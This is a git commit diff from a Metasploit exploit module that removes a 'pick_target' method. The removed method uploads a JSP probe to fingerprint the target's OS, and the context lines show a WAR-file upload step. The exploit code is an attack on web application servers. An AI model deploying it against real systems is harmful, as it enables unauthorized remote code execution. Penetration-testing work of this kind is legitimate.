Pick target is not needed...
parent
7483e77bba
commit
70a2247941
|
@ -77,36 +77,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def pick_target
|
|
||||||
unless target.name == 'Automatic'
|
|
||||||
return target
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{peer} - Determining target")
|
|
||||||
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
|
|
||||||
url = upload_payload(os_finder_payload, false)
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'], url),
|
|
||||||
'method' => 'GET',
|
|
||||||
'cookie' => @cookie,
|
|
||||||
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
|
|
||||||
})
|
|
||||||
|
|
||||||
if res && res.code == 200
|
|
||||||
if res.body.to_s =~ /Linux/
|
|
||||||
register_files_for_cleanup('webapps/' + url)
|
|
||||||
return targets[1]
|
|
||||||
elsif res.body.to_s =~ /Windows/
|
|
||||||
register_files_for_cleanup('root/' + url)
|
|
||||||
return targets[2]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def send_payload(war_payload, tomcat_path, app_base)
|
def send_payload(war_payload, tomcat_path, app_base)
|
||||||
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
|
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
|
||||||
print_status("#{peer} - Uploading WAR file...")
|
print_status("#{peer} - Uploading WAR file...")
|
||||||
|
|
Loading…
Reference in New Issue